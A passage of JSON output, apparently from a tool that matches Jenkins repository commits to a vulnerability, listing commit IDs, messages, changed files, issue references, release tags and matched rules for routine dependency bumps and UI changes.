"cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8835", - "relevance": 2 - } - ] - }, - { - "commit_id": "425df13fcdcc79ccbee68c92aac439e4515a1e76", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704542091, - "hunks": 1, - "message": "Update XML namespace schemaLocation for incrementals (#8828)", - "changed_files": [ - ".mvn/extensions.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8828": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8828", - "relevance": 2 - } - ] - }, - { - "commit_id": "90b8ed957cfb0d455d00ed36b74e77c59ac9cb5b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704487240, - "hunks": 1, - "message": "Add an 'Appearance' category to the wizard (#8822)", - "changed_files": [ - "core/src/main/resources/jenkins/install/platform-plugins.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8822": "Update plugin manager description jenkinsci/dark-theme-plugin#445" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8822", - "relevance": 2 - } - ] - }, - { - "commit_id": "e7ed28f7b4d198ddbff0bebd115bdc0f63e134ce", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704319013, - "hunks": 2, - "message": "Uppercase build cancellation message in build queue (#8824)", - "changed_files": [ - "core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly", - "core/src/main/resources/lib/hudson/queue.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8824": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8824", - "relevance": 2 - } - ] - }, - { - "commit_id": "d75833e5e0e1983cb1c9efec28cf6746e547cab0", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704274034, - "hunks": 30, - "message": "Update appearance of controls in header (#8791) * Init * Tidy up * Update resources.css * Update resources.css * Tidy up * Update resources.css", - "changed_files": [ - "core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink.jelly", - "core/src/main/resources/hudson/security/SecurityRealm/loginLink.jelly", - "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css", - "war/src/main/scss/components/_page-header.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8791": "[JENKINS-72679] Don't animate admin monitor popup on page load, properly remove interactable UI elements #8954 [JENKINS-72679] Revert #8791 #8956 Second backporting for 2.440.1 #8957" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8791", - "relevance": 2 - } - ] - }, - { - "commit_id": "4c423d484267cef3bff602a2e58ae7d7634b1a77", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704183098, - "hunks": 9, - "message": "Update XML namespace schemaLocation (#8817)", - "changed_files": [ - "bom/pom.xml", - "cli/pom.xml", - "core/pom.xml", - "coverage/pom.xml", - "pom.xml", - "test/pom.xml", - "war/pom.xml", - "websocket/jetty10/pom.xml", - "websocket/spi/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8817": "Update XML namespace schemaLocation for incrementals #8828" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8817", - "relevance": 2 - } - ] - }, - { - "commit_id": "45586a4d28cf1853a3e20fbdff7c6eb6c254d0aa", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704165313, - "hunks": 33, - "message": "Update babel monorepo to v7.23.7 (#8820) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8820": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8820", - "relevance": 2 - } - ] - }, - { - "commit_id": "8118d8862eaaa90d8e850fb23eab4d93d7cfa15d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704165219, - "hunks": 1, - "message": "Bump com.puppycrawl.tools:checkstyle from 10.12.6 to 10.12.7 (#8819) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.12.6 to 10.12.7. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.12.6...checkstyle-10.12.7) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8819": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8819", - "relevance": 2 - } - ] - }, - { - "commit_id": "3597db8e13f8fd5ef5309b31ef55eb8121663a6b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704164962, - "hunks": 3, - "message": "[JENKINS-72466] Upgrade jbcrypt dependency (#8811) JENKINS-72466: Upgrades jbcrypt dependency", - "changed_files": [ - "bom/pom.xml", - "core/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8811": "Remove jcenter, and oss.sonatype.org-releases repositories from public virtual repository; reconfigure Atlassian remote repositories jenkins-infra/helpdesk#3842 Remove unnecessary include patterns from jcenter-orphans jenkins-infra/helpdesk#3896" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8811", - "relevance": 2 - } - ] - }, - { - "commit_id": "c878487461f1e535e39766893636f2bbf88becc0", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704164939, - "hunks": 1, - "message": "[JENKINS-71666] Adapt to Popper deprecation in Jenkins core (#8810) Removed deprecated popper2-api from war/pom.xml", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8810": "Bump io.jenkins.plugins.mina-sshd-api:mina-sshd-api-core from 2.11.0-86.v836f585d47fa_ to 2.12.1-101.v85b_e08b_780dd #9093" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8810", - "relevance": 2 - } - ] - }, - { - "commit_id": "2ac59590a6a5021228936a239154300b425a6d8d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704093551, - "hunks": 1, - "message": "Bump slf4jVersion from 2.0.9 to 2.0.10 (#8809) Bumps `slf4jVersion` from 2.0.9 to 2.0.10. Updates `org.slf4j:jcl-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:log4j-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-api` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-jdk14` from 2.0.9 to 2.0.10 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8809": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8809", - "relevance": 2 - } - ] - }, - { - "commit_id": "a82e94b05b56193066d85a17065440084fd62552", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704093526, - "hunks": 4, - "message": "Update dependency sass to v1.69.6 (#8816) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8816": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8816", - "relevance": 2 - } - ] - }, - { - "commit_id": "f4095698966cd901681241e994e872846429211d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704093476, - "hunks": 2, - "message": "Run GH actions release artifact uploader with JDK 17 (#8813)", - "changed_files": [ - ".github/workflows/publish-release-artifact.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8813": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8813", - "relevance": 2 - } - ] - }, - { - "commit_id": "2e267453eb7530848df3a4b75774136446e280b5", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704021896, - "hunks": 14, - "message": "Update dependency postcss-loader to v7.3.4 (#8812) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8812": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8812", - "relevance": 2 - } - ] - }, - { - "commit_id": "69e20dbbaf70c92c8daabf0327144483a936a667", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703809411, - "hunks": 38, - "message": "Update dependency stylelint to v16.1.0 (#8804) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8804": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8804", - "relevance": 2 - } - ] - }, - { - "commit_id": "ee7ec9f430f778a9a0447e55c2119f6a961d8170", - "repository": 